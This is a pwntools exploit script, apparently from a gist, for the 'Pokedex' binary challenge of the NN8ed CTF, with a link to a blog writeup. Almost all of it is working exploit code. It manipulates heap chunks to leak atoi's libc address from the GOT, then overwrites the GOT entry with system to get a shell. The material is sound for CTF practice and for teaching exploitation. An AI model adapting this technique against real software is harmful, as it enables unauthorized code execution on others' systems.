Solution for the Pokedex challenge NN8ed CTF
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# coding=utf-8 | |
# Writeup: https://elladodelnovato.blogspot.com/2018/10/ctf-nn8ed-navaja-negra-pokedex.html | |
from pwn import * | |
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc-2.27.so")} | |
s = process("./pokedex_nn2k18", env=env) | |
#s = remote('challenges.ka0labs.org', 1341) | |
# to leak | |
ATOIPLT = 0x404058 | |
ATOI_SYSTEM_OFFSET = 0x000435d0 - 0x00037160 | |
ATOI = 0x0 | |
s.recvuntil("option>", drop=False) | |
def recv(s): | |
try: | |
print(s.recv()) | |
except EOFError: | |
print('EOF received') | |
def create(num, name): | |
s.send("1\x0D") | |
recv(s) | |
s.send(num + "\x0D") | |
recv(s) | |
s.send(name+"") | |
recv(s) | |
s.send("0\x0D") | |
recv(s) | |
s.send("0\x0D") | |
recv(s) | |
s.send("0\x0D") | |
recv(s) | |
def edit(num, name, last_read=True): | |
s.send("2"+"\x0D") | |
recv(s) | |
s.send(num+"\x0D") | |
recv(s) | |
s.send(name+"") | |
recv(s) | |
s.send("0\x0D") | |
recv(s) | |
s.send("0\x0D") | |
recv(s) | |
s.send("0\x0D") | |
if last_read: | |
recv(s) | |
def delete(num): | |
s.send("3\x0D") | |
recv(s) | |
s.send(num+"\x0D") | |
recv(s) | |
def view(num): | |
s.send("4\x0D") | |
recv(s) | |
s.send(num) | |
#recv(s) | |
create("0", "A"*23) | |
create("1", "A"*23) | |
create("2", "A"*23) | |
create("3", "A"*23) | |
delete("2") | |
delete("1") | |
create("4", "A"*100) | |
create("5", "A"*23) | |
edit("5", "A"*0x10 + p64(ATOIPLT)) | |
view("2") | |
s.recvuntil("ID: 2\n", drop=False) | |
addr = s.recv() | |
print "GOT:", addr[6:6+6] | |
if addr[6:6+6].find("AA") >= 0: | |
print "failed :(" | |
exit(0) | |
ATOI = int('0x'+ addr[6:6+6][::-1].encode('hex'), 16) | |
print "Leaked ATOI: ", hex(ATOI) | |
SYSTEM = ATOI + ATOI_SYSTEM_OFFSET | |
print "SYSTEM:", hex(SYSTEM), p64(SYSTEM) | |
p = p64(SYSTEM) | |
edit("2", p, last_read=False) | |
s.interactive() | |
s.close() |
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